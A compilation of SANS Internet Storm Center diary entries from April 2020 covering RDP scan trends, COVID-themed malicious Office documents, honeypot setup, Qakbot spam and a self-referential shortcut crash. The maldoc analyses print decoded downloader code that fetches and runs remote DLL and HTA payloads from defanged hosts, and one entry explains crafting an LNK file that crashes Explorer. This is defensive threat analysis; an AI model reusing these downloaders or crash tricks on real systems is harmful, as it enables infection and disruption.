Back in January, I published a post "Network Security Perspective on Coronavirus Preparedness." One of the items I pointed out was the need to plan for remote work, and how VPNs may present a resource constraint. As so often, some organizations ended up "winging it" last minute and ended up with less than optimal solutions.
At the end of March, Shodan posted that it had detected a marked increase in exposed RDP services . The initially reported number was adjusted downward later, but there is still an increase in exposed RDP servers, which is attributed to organizations quickly enabling remote access.
RDP Exposure Measured by Shodan 
It should be noted that the initial, larger, increase in RDP exposure was due to the inclusion of IPv6. Some organizations may try to "hide" RDP on IPv6. But if Shodan can find you, so can the bad guys.
Services like RDP should not be exposed directly to the open Internet. If you do so, these services should be configured carefully. RDP has had several critical vulnerabilities in the past. One of the most common methods used to attack RDP services is various forms of password brute-forcing. Various underground web sites actively trade RDP passwords. RDP has had a rich history of vulnerabilities in the past. Patching RDP servers is critical.
Inspired by the Shodan post, I took a look at our data to see if we can detect an increase in scans for port 3389, the default RDP port. Port 3389 is a consistent "Top 10" port, and the Internet is saturated with RDP scans, which can make it challenging to detect change.
Selected Top 10 Ports
Investigating reports for RDP scans for the last few months, I noticed that the number of source IPs used to scan for port 3389 increased significantly. The increase in sources implies that the bad guys are investing more resources in scanning for port 3389.
For October through February, we saw about 2,600 source IPs scanning for port 3389 each day. In March, this number increased to 3,540, a significant increase (approx 5.5 std deviations).
Avg. Source IPs Scanning Port 3389 each day. Green bar: Std. Dev.
The increased interest in scanning port 3389 indicates that attackers are ready for some of the changes to network configurations as a result of increased remote access requirements. Sadly attackers do not give us a break. Instead, they are focusing on weaknesses that organizations are exposing now. Every single attack vector we have looked at these last few months has incorporated the Coronavirus crisis, and attackers are ruthless as usual in exploiting any weakness they can find.
For RDP: If you must expose it, please follow one of the guides to secure RDP. UC Berkley has a comprehensive and concise guide . I fully understand that you may not be able to redesign your architecture right now. Substantial changes to remote access mechanisms always come with the risk of disconnecting yourself (yes, I have reconfigured VPNs while on the road, and luckily my wife was able to undo the damage I did to get me back in..).
Recognizing that coronavirus has caused organizations around the world to transition their workforce away from an office to the work-from-home environment and that many organizations lack the policies, resources, or training to enable their people to do so securely, SANS released the “Securely Working from Home” Deployment Kit on March 16. This free kit provides organizations with a step-by-step guide on how to rapidly deploy a training program for their remote staff. All training materials and resources necessary to secure a remote, multi-lingual workforce are included in the kit.
ISC Stormcast For Tuesday, April 7th 2020 https://isc.sans.edu/podcastdetail.html?id=6942, (Tue, Apr 7th)
We've been seeing quite some malicious Excel files with Excel 4 macros lately.
A variant we are observing now, is password protected Excel 4 maldocs, using the binary file format .xls (and not OOXML, .xlsm).
Password protected .xls files are not completely encrypted. Simply put: it's the data of the BIFF records that is encrypted, but not the record headers themselves.
A password protected .xls file has a FILEPASS record at the beginning of the workbook stream:
I updated my BIFF plugin (plugin_biff.py) to issue a warning when using option -x to filter for Excel 4 macros: since the data of the BOUNDSHEET records is encrypted, we can no longer detect that a sheet is an Excel 4 macro sheet or another type.
So when you see that an Excel sheet is password protected, you need to decrypt it to perform further analysis:
As the password is VelvetSweatshop, the user does not have to enter a password to decrypt the workbook upon opening.
ISC Stormcast For Monday, April 6th 2020 https://isc.sans.edu/podcastdetail.html?id=6940, (Mon, Apr 6th)
Using Didier's oledump.py tool, I checked the spreadsheet using plugin plugin_biff with option -x which show Excel 4 macros:
Next step will be to check for any embeded URL in this XLS document. I'm using plugin_biff's find option -f to see if any URL are embedded in this file:
Unfortunately the embedded URL http[:]]//fikima[.]com/axel[.]exe was taken down soon after receiving this email . I checked Virustotal hash database  and there are no record this file was submitted before the domain was taken down. As a final step, I scanned the file with ClamAV with negative results.
 d5bd8d4a3841d0e6d455ba244be1f4d5 760606.xls
I was taking a closer look at Xavier's Word document he analyzed in yesterday's diary entry: "Obfuscated with a Simple 0x0A".
I expected that the latest version of my zipdump tool would be able to handle this special ZIP file, but it didn't. After a bit of research, I discoverd that this Word document not only has one byte prefixed to it (a newline, 0x0A), but that it is also missing one byte at the end. That missing byte is part of the comment length field of the EOCD record.
If you have an idea what is going on here, please post a comment.
With the current Coronavirus pandemic, we continue to see more and more malicious activity around this topic. Today, we got a report from a reader who found a nice malicious Word document part of a Coronavirus phishing campaign. I don't know how the URL was distributed (probably via email) but the landing page is fake White House-themed page. So, probably targeting US citizens.
Here is a screenshot of the landing page:
The payload is delivered via POST HTTP request to the same URL:hxxps://adeli-center[.]com/u6wqyts2r9ybns.php
The downloaded document is a Microsoft Word document called 'Information.doc' (SHA256:c36e0ef657bc2137d4ee13a97528e7a12d2ffe7b8dc2b54c92f123b3f61845a6) with a current VT score of only 2/59!
But the file is not detected as a Word document based on its magic bytes:remnux@remnux:/malwarezoo$ file Information.doc Information.doc: data
The first character of the file is a simple 0x0A (a newline character):remnux@remnux:/malwarezoo$ xxd Information.doc | head -5 0000000: 0a50 4b03 0414 0006 0008 0000 0021 0066 .PK..........!.f 0000010: 0745 3f8f 0100 00df 0500 0013 0008 025b .E?............[ 0000020: 436f 6e74 656e 745f 5479 7065 735d 2e78 Content_Types].x 0000030: 6d6c 20a2 0402 28a0 0002 0000 0000 0000 ml ...(......... 0000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
This simple trick could prevent the file to be tested by some security solutions that base their analysis of the magic bytes. But it does not prevent Word to open the document like a normal one!
Let's have a look at the document, it's a standard one with a vbaProject.bin OLE file that contains macros. Let's unzip the Word document and check the macros:remnux@remnux:/malwarezoo$ oledump.py vbaProject.bin 1: 666 'PROJECT' 2: 167 'PROJECTwm' 3: 97 'UserForm1/\x01CompObj' 4: 293 'UserForm1/\x03VBFrame' 5: 175 'UserForm1/f' 6: 39472 'UserForm1/o' 7: M 13213 'VBA/Module1' 8: M 1463 'VBA/Module2' 9: M 6275 'VBA/Module3' 10: M 2882 'VBA/Module4' 11: m 938 'VBA/ThisDocument' 12: m 1210 'VBA/UserForm1' 13: 5643 'VBA/_VBA_PROJECT' 14: 925 'VBA/dir'
The behavior is typical. The next stage is extracted from the form 'UserForm1', decoded and executed:Function IhelpProc() As Boolean Dim record, record2, param1, param2 As String record = "c:\Datagui\" MakeSureDirectoryPathExists record param1 = UserForm1.Label2.Caption record2 = record & "scrpt" & ".bat" Dim Str1 As String, Val1 As Long Dim a, b As String Open record2 For Output As #1 a = Mid(param1, 1, 1) b = Replace(param1, a, "") param2 = ConvertBytesToString(Base64Decode(b)) Print #1, param2 Str1 = record2 Close #1 StartProcess Str1, 0, 0, 0 copydoc copydoc End Function
The payload is located in UserForm1.Label2.Caption: (approx. 30KB)#U#l#0#M#C#W#R#z#H#0#9#g#c#2#d#T#b#l#V#h#c#j#x#i#O#V#t#D#Y#H#N#g#Z#n#R#o#W#2#Z#0#a#G#N#k#b#y#1#1#Y#X# I#M#C#W#R#i#Z#2#4#f#Q#2#h#s#H#0#N#x#b#m#h#j#Y#W#5#3#K#x#9#M#Y#H#N#i#Z#2#J#g# ...
Decoding is easy:
1. Remove the '#' character
2. Base64 decode
3. Decode by performing a ROT-1 :-)
This can be performed easily with a few lines of Python:import base64 data = "#U#l#0#M#C#W#R#z#H#0#9#g#c#2#d#T#b#l#V#h#c#j#x#i#O#V#t#D#Y#H#N#g#Z#n#R#o#W#2#Z#0#a#G..." decoded = base64.b64decode(data.replace("#", "")) s = "" for i in range(len(decoded)): s=s+chr(ord(decoded[i])+1) print s
Here is the decoded payload:
(Note: there was a lot of junk code and 'sleep' commands that I removed for better readability)Set PathToVbs=c:\\Datagui\\guidep.vbs echo Dim Droidbox, Matchcase, X, Y, Z, DbgHelp, TGF >> %PathToVbs% echo On Error Resume Next >> %PathToVbs% echo Set Droidbox = Wscript.Arguments >> %PathToVbs% echo Set Matchcase = CreateObject("WinHttp.WinHtt" + "pRequest.5.1") >> %PathToVbs% echo Z = Droidbox(0) >> %PathToVbs% echo DbgHelp = Droidbox(1) >> %PathToVbs% echo. >> %PathToVbs% echo Matchcase.Open "GET", Z, False >> %PathToVbs% echo Matchcase.Send >> %PathToVbs% echo TGF = Matchcase.Status >> %PathToVbs% echo. >> %PathToVbs% echo If TGF ^<^> 200 Then >> %PathToVbs% echo WScript.Quit 1 >> %PathToVbs% echo End If >> %PathToVbs% echo. >> %PathToVbs% echo Set Y = CreateObject("ADODB.Stream") >> %PathToVbs% echo Y.Open >> %PathToVbs% echo Y.Type = 1 >> %PathToVbs% echo Y.Write Matchcase.ResponseBody >> %PathToVbs% echo Y.Position = 0 >> %PathToVbs% echo. >> %PathToVbs% echo Set X = CreateObject("Scripting.FileSystemObject") >> %PathToVbs% echo If X.FileExists(DbgHelp) Then X.DeleteFile DbgHelp >> %PathToVbs% echo Y.SaveToFile DbgHelp >> %PathToVbs% set httpSupp=hxxps://foodsgoodforliver[.]com/guide.dll echo Y.Close >> %PathToVbs% set helper=C:\\Datagui\\vgui.dll cscript //nologo %PathToVbs% %httpSupp% %helper% if exist %helper% goto nExt goto theEnd :nExt powershell -C Sleep -s 3;rundll32 %helper%, DllRegisterServer break>%PathToVbs% TRACERT https://www.marketwatch.com/investing NETSTAT :theEnd break>%PathToVbs% del "%~f0" %PathToVbs%
I was not able to get the DLL file (HTTP 403 Forbidden). I tried via multiple User-Agent strings, multiple counties, no luck. If somebody has the file, feel free to share!
Right now, three domains have been identified hosting the fake White House page:
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
ISC Stormcast For Friday, April 3rd 2020 https://isc.sans.edu/podcastdetail.html?id=6938, (Fri, Apr 3rd)
ISC Stormcast For Thursday, April 2nd 2020 https://isc.sans.edu/podcastdetail.html?id=6936, (Thu, Apr 2nd)
Last year I did a post about a great tool; TPOT https://github.com/dtag-dev-sec/tpotce. In short, it is a collection of different honeypots put together by Docker and Elastic stack. I promised to cover setting up cowrie to report to SANS ISC, and here it is. If you are not familiar with Docker, this config would take a while to figure out.
Copy the cowrie config from the Docker and store it on the host for persistence in /data/cowrie/config
# mkdir /data/cowrie/config
#docker cp cowrie:/home/cowrie/cowrie/cowrie.cfg /data/cowrie/config
Now we need to map the local folder where we are creating the custom config into the Docker so that it will use ours.
Look for the section #Cowrie Service. Add the below in a similar section.
Then we need to enable the Dshield portion. You need to remove ‘#’ from the part starting with the plugin name. You’ll also need your account info.
To get your ISC Dshield key:
Log into ISC, go to My Accounts -> My reports.
Select Update info, and you’ll see your auth_key.
enabled = true
userid = 0123456789
auth_key = mysuperawesomekeycode
batch_size = 100
Once you saved the changes, restart tpot.
#systemctl restart tpot
You use to be able to search for dshield in the logs to make sure it was working. In the current version the Docker is using, this is not working. I would still check the log for errors in /data/cowrie/log/cowrie.log.
The best way to check to make sure this is working is by going to https://isc.sans.edu/myreports.html. Check the last report section and see what the time stamp is. It may take a day to populate this data, so you might want to check the next day after setup.
ssh/kippo reports: 2020-03-28 17:54:12
Also dont forget about ISC own honeypot for Pi https://isc.sans.edu/honeypot.html
@twsecblog(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
ISC Stormcast For Wednesday, April 1st 2020 https://isc.sans.edu/podcastdetail.html?id=6934, (Wed, Apr 1st)
Every once in a while, I'll see spambot-style traffic from the Windows hosts I infect in my lab environment. On Tuesday 2020-03-31, this happened during a Qakbot infection. I've covered examining Qakbot traffic before, but that didn't include examples of spambot emails sent from an infected Windows computer. Today's diary provides a quick review of some email examples from spambot traffic by my Qakbot-infected lab host.
A pcap of the traffic used for today's diary can be found here. It's a short snippet of the malspam traffic sent from my Qakbot-infected lab host. Use the Wireshark filter smtp.data.fragment as shown below to confirm there are emails we can export from the pcap.
Once we've confirmed there are emails we can export from the pcap, use the menu path File --> Export Object --> IMF... to export these emails as shown below.
The exported emails
A quick review of the emails indicates the information was taken from an infected user's mailbox. However, the recipients appear to be spoofed or malicious email addresses from old malspam circa 2013. See the images below for details.
Reviewing these emails, you should notice patterns in how they are structured and the URLs used to deliver the initial malware, a zip archive downloaded from the web. The URLs I found from this Qakbot-related spambot traffic have all been submitted to URLhaus.
A pcap covering this snippet of Qakbot-related spambot traffic and the extracted 11 emails can be found here.
brad [at] malware-traffic-analysis.net
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
ISC Stormcast For Tuesday, March 31st 2020 https://isc.sans.edu/podcastdetail.html?id=6932, (Tue, Mar 31st)
There is no honor among thieves. Even after some ransomware gangs claimed to seize targeting the healthcare sector, attacks continue to happen. But ransomware isn't alone. Last week, the FBI updated an advisory regarding the Kwampirs malware, pointing out the healthcare sector as one of its targets. Kwampirs isn't picky in its targeting. It has been observed going after various sectors (financial, energy, software supply chain, and healthcare, among others). One differentiator of Kwampirs is its modular structure. After penetrating a particular target network, the malware will load appropriate modules based on the targets it encounters. In general terms, Kwampirs is a "Remote Admin Tool" (RAT). It provides access to the target and can be used to execute additional payloads at the attacker's choosing.
The modular nature makes it difficult to enumerate the capabilities of the tool. Likely, addons are developed continuously as new capabilities are required to penetrate a particular network.
Kwampirs exhibits several behaviors that put it in the "Advanced Persistent Threat (APT)" category:
- It is patient. Kwampirs does not launch fast "hit and run" attacks. Instead, it can infiltrate a network and only communicate daily, asking for updates. I took some networks three years to detect Kwampirs.
- Kwampirs infiltrates software vendors and uses them to spread to customers. These supply chain attacks are well suited to target specific industries.
- It does not have a clear financial motive, like stealing PII or payment card data. The malware has not been observed destroying or encrypting data for ransom.
Kwampirs will likely enter your network undetected as part of a software update from a trusted vendor. Anti-malware solutions will detect past versions. But do not put too much trust in anti-malware to detect the next version that is likely tailored to your organization.
There are a few indicators that have been observed in the past, and it is certainly important to verify your network that you are not already infected. See the prior FBI bulletins for more details and Yara signatures.
But of course, this behavior is going to change. For future versions of this (and other threats), it is useful to abstract these signatures:
Check for new services popping up in your network. Do not look just for specific names like "WmiApSrvEx", but investigate any service that you haven't see before
New processes. This is tricky and maybe too noisy.
New files being added to system folders. Again, don't focus on the specific names.
Kwampirs will also propagate through administrative shares. Deception techniques are an excellent option to catch this type of behavior.
Of course, I always like network detection techniques to identify malicious behavior. For Kwampirs, this may be a bit tricky, but it depends on what exact version you encounter. Some versions apparently will connect to an IP address directly, skipping DNS. Outbound connections without a DNS lookup returning the target IP should be one of your standard signatures. In the past, Kwampirs used some odd domain names that may stick out. For example, it used the "tk" top-level domain, which has sadly become almost an indicator of compromise in itself. Declaring yourself authoritative for .tk and redirecting queries to a sensor is an excellent way of detecting these and many other exploits. I probably wouldn't spend too much time looking for the specific hostnames listed in the FBI advisory. These hostnames tend to be very ephemeral, and they are not going to "last" very long. But a historical search of your DNS logs (did I mention Zeek?) may be appropriate.
If you find anything interesting, please let us know. Refer to the FBI advisories I uploaded here for more detailed IOCs.
In a couple of my recent diaries, we discussed two small unpatched vulnerabilities/weaknesses in Windows. One, which allowed us to brute-force contents of folders without any permissions, and another, which enabled us to change names of files and folders without actually renaming them. Today, we’ll add another vulnerability/weakness to the collection – this one will allow us to cause a temporary DoS condition for the Explorer process (i.e. we will crash it) and/or for other processes. It is interesting since all that is required for it to work is that a user opens a link or visits a folder with a specially crafted file.
The vulnerability lies in the way in which URL links (.URL files) and Shell Links (.LNK files) are handled by Windows when they are self-referential (i.e. they “link to themselves”). The principle behind the vulnerability is not new – a similar issue was supposedly present in the early versions of Windows 7 with self-referential symlinks – but since I didn’t find any write-up for the issue with URLs and LNKs, I thought I’d share this version of the vulnerability here. I should mention that I informed Microsoft of the issue and they decided not to patch it due to its limited impact.
With URL links, crafting a self-referential one is quite simple. URL shortcuts are basically just INI files and you may create one in the same way you would create a LNK shortcut (i.e. right click in a folder -> New -> Shortcut), you just have to input URL as the target. If we were to create a shortcut this way, which points to https://isc.sans.edu/, we would end up with following contents inside the resulting URL file.
The structure is quite simple, but we may simplify it further still, since for our purposes, we only need to specify the [InternetShortcut] section and a target for the link. A file with the following contents will work the same way as the previous one.
In order to create a self-referential URL file, we simply need to point the URL property to the path where our file is located.
If we try to open this file, the Explorer process will crash and after a while, it will be started again.
This is intriguing behavior and since the mechanism works for remote file shares as well (and since we may change the icon which is displayed for the URL file), a specially crafted URL link might be used quite easily to pull a prank on someone. Besides it being a potential tool for use during the April Fools’ day, however, there don’t seem to be many uses for a self-referential URL.
Self-referential Shell Links, on the other hand, could be quite handy in certain red teaming situations. This is because in case of LNK files, one doesn’t need to interact with them directly in any way in order to cause Explorer to crash, it is enough to open the folder in which they are located.
This is due to the interesting way in which Windows handles Shell Links. To demonstrate the behavior of Windows when a user opens a folder in which a LNK file is located, I created a shortcut, which points to calc.exe, and placed in in the folder C:\PoC. As you may see from the output from Process Monitor bellow, which shows what happened when I opened the PoC folder, the Explorer process automatically found the target file (C:\system32.calc.exe) and accessed it.
Although this behavior is quite interesting by itself, the fact that Explorer tries to access target of a LNK file when a folder, inside which it is placed, is opened is sufficient for our purposes.
At this point, we may try to create a self-referential LNK. However, if we simply try to point existing Shell Link file back on itself (or point it to any other LNK), Windows will stop us, because creating a shortcut to another shortcut is not allowed.
Since Shell Links have a binary format, making them point to themselves “manually” isn’t as straightforward as in the case of URL files. With a hex editor and with a little help from the official documentation, it still isn’t too difficult though.
The only potential snag is that Shell Link files really aren’t meant to point to other LNKs and to enable this behavior, we need to set a special flag in the header of the Shell Link called “AllowLinkToLink“ (i.e. add 0x80 to byte at offset 0x16).
If we try to access a folder, inside which the LNK is placed, Explorer will indeed crash and then start up again.
If you’d like to try this out on your own system, I prepared a sample Shell Link file to make it easier. You may download it from https://untrustednetwork.net/files/ISC/2020/infinilink.zip (password is “infected”) and unzip the “infinilink” directory to your C drive. It works from certain other locations as well, but I would caution against putting the downloaded LNK directly on a Desktop.
Although it should be harmless (besides causing the Explorer process to crash, that is), I would also recommend that you only try it in a backed up virtual environment.
For completeness sake, I should mention that explorer.exe isn’t the only process we may crash this way. Any application, which uses one of the standard Windows file dialogs (i.e. Open File dialog, Save File dialog, etc.) is susceptible and will crash if the dialog window is used to open a folder containing a self-referential LNK.
ISC Stormcast For Monday, March 30th 2020 https://isc.sans.edu/podcastdetail.html?id=6930, (Mon, Mar 30th)
These files contain Excel 4 macros (checking with oledump.py here):
There are a lot of cells in this spreadsheet with a call to the CHAR function:
These CHAR formulas evaluate to ASCII characters, that are then concatenated together and evaluated as formulas:
I can extract the integer argument of each CHAR function like this with my tool re-search.py:
That can then be converted to characters using my tool numbers-to-string.py:
The string above is build-up of all the cells with function CHAR in the spreadsheet. That's why the produced string looks promising, but the characters don't seem to be in the right order.
Selecting characters on the same row doesn't help:
But selecting by column does reveal the formulas:
Analyzing obfuscated Excel 4 macros with a command-line tool like this can be difficult, and it can be easier to view the Excel 4 macro sheet inside a VM (this sheet was very hidden):
Johannes started a Covid19 Domain Classifier here on our Internet Storm Center site.
From SANS NewsBites Vol. 22 Num. 025:
Help Us Classify COVID-19 Related Domains
These last couple of weeks, criminals have been using COVID-19 for everything from selling fake cures to phishing. Every day, several thousand domains are registered for COVID-19 related keywords. We are trying to identify the worst, and classify the domains into different risk categories. If you have some time this weekend, please help us out by checking out some of these domains. To participate, see https://isc.sans.edu/covidclassifier.html. The domain data is based on a feed provided by Domaintools and we will make the results of this effort public for download as soon as we have a “critical mass” of responses.
When you log in with your account to the SANS ISC site, you'll get a list of 10 domains to classify, like this:
The malware was delivered via a Microsoft Word document:remnux@remnux:/malwarezoo/20200327$ oledump.py information_03.26.doc A: word/vbaProject.bin A1: 576 'PROJECT' A2: 104 'PROJECTwm' A3: m 1127 'VBA/ThisDocument' A4: 3798 'VBA/_VBA_PROJECT' A5: 2201 'VBA/__SRP_0' A6: 206 'VBA/__SRP_1' A7: 348 'VBA/__SRP_2' A8: 106 'VBA/__SRP_3' A9: M 2319 'VBA/a4bLF' A10: M 2026 'VBA/acpqnS' A11: M 2457 'VBA/ajzdY' A12: 913 'VBA/dir' A13: m 1171 'VBA/f' A14: 97 'f/\x01CompObj' A15: 284 'f/\x03VBFrame' A16: 86 'f/f' A17: 37940 'f/o'
Several macros are present and are easy to decode:Sub AutoOpen() main End Sub
And:Sub main() ajKTO = StrReverse(ae5RXS("e$x$e$.$a$t$h$s$m$\$2$3$m$e$t$s$y$s$\$s$w$o$d$n$i$w$\$:$c$", "$", "")) akYREj = StrReverse(aQqnur("m$o$c$.$t$f$o$s$o$r$c$i$m$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", "")) aXlTxC = StrReverse(airmZ6("l$m$t$h$.$x$e$d$n$i$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", "")) Call VBA.FileCopy(ajKTO, akYREj) Set axe16 = f.i atk8Jw aXlTxC, axe16.value Shell akYREj & " " & aXlTxC End Sub
The three lines containing StrReverse() are easy to deobfuscate, you just have to remove the '$' characters and reverse the string:
StrReverse(ae5RXS("e$x$e$.$a$t$h$s$m$\$2$3$m$e$t$s$y$s$\$s$w$o$d$n$i$w$\$:$c$", "$", "")) = "c:\windows\system32\mshta.exe"
StrReverse(aQqnur("m$o$c$.$t$f$o$s$o$r$c$i$m$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", "")) = "c:\programdata\microsoft.com"
StrReverse(airmZ6("l$m$t$h$.$x$e$d$n$i$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", "")) = c:\programdata\index.html
The function atk8Jw() dumps the payload:Public Function atk8Jw(ar9a1t, afn6Jc) Open ar9a1t For Output As #1 Print #1, afn6Jc Close #1 End Function
The file index.html is created based on the content of a hidden form in the Word document (called 'f').
The second stage is executed via mshta.exe. This piece of code uses the registry to dump the next stage:<p id="content">6672613771647572613771646e726137 ...(very long string)... 2613771642972613771643b7261377164</p> ... var aYASdB = "HKEY_CURRENT_USER\\Software\\soft\\key"; ... aB9lM.RegWrite(aYASdB, a0KxU.innerHTML, "REG_SZ"); ... aUayK = aB9lM.RegRead(aYASdB) ... aB9lM.RegDelete(aYASdB)
The content is the 'id' HTML element is hex-encoded and obfuscated with garbage characters. Once decoded, we have a new bunch of obfuscated code.
It fetches the next stage from this URL:hxxp://his3t35rif0krjkn[.]com/kundru/targen.php?l=swep4.cab
Unfortunately, the file was already removed and I was not able to continue the analyzis...
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant